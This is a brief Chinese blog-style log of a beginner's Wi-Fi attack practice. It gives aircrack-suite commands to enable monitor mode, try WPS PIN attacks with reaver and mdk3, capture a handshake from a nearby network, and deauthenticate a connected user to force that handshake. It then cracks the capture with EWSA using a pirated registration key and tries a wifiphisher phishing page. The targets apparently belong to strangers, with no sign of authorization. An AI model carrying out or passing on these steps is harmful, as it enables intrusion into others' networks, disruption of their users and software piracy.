无线攻击实践

动机：刚学完练练手

第一步

素质三连：service network-manager stop
                 airmon-ng check kill

                 airmon-ng start wlan0 //这一步之前有时会报错，执行rfkill解锁wifi

第二步

先看看有木有可以pin的吧：wash -i wlan0mon

                                           reaver -i wlan0mon -S -N -d10 -t10 -vv //果然不行，哪位大佬能解决下rate limit ..

                                           尝试了下mdk3，太残暴了，还解决不了问题。

再看看有木有能抓包的吧：airodump-ng wlan0mon // emmm，选个离我比较近的幸运儿

                                         airodump-ng wlan0mon --bssid <AP MAC> -c 6 -w lily //上面连着用户，还行

                                         airepaly-ng -0 2 -a <AP MAC> -c <STA MAC> wlan0mon //请这位用户帮忙给个握手包

                                         cp xxxxx.cap / mnt / share / kalilinux64 / //把握手包文件共享到物理机

                                         emmm，用ewsa玩命跑吧，网上找到的一个注册码（EWSA-173-HC1UW-L3EGT-FFJ3O-SOQB3）

                                          唉，没有好字典，第一次实践也不熟悉常见的密码组合，就跑出来一个咋办呢？

最后想耍个流氓没成功，wifiphisher钓鱼页面怎么英文的,,,情何以堪。自己创建一个手头又没有有线网络，难受。这次就先这样吧，下次再买张网卡，搞个中文钓鱼页面，顺便学学密码破解再说吧。